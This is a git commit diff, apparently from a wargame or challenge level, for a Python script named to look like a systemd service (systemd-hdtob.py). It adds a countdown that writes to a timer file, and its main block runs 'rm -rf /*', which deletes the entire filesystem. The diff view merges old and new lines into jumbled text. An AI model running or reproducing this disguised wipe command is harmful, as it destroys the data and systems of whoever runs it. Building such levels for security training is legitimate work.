Level/Level5/systemd-hdtob.py aktualisiert

This commit is contained in:
2025-11-17 12:47:41 +00:00
parent 6b98f3a6f8
commit 7eb9e4bc4c

View File

@@ -2,14 +2,17 @@ import os
import time import time
import subprocess import subprocess
import pwd import pwd
def drop_privileges(user): def drop_privileges(user):
pw = pwd.getpwnam(user) pw = pwd.getpwnam(user)
os.setgid(pw.pw_gid) os.setgid(pw.pw_gid)
os.setuid(pw.pw_uid) os.setuid(pw.pw_uid)
def countdown(seconds): def countdown(seconds):
for remaining in range(seconds, 0, -1): for remaining in range(seconds, 0, -1):
mins, secs = divmod(remaining, 60) mins, secs = divmod(remaining, 60)
print(f"{mins:02d}:{secs:02d}", end="\r") with open("/home/crime5/timer.txt", "w") as f:
f.write(f"{mins:02d}:{secs:02d}")
time.sleep(1) time.sleep(1)
if __name__ == "__main__": if __name__ == "__main__":
subprocess.run(["rm", "-rf", "/*"]) subprocess.run(["rm", "-rf", "/*"])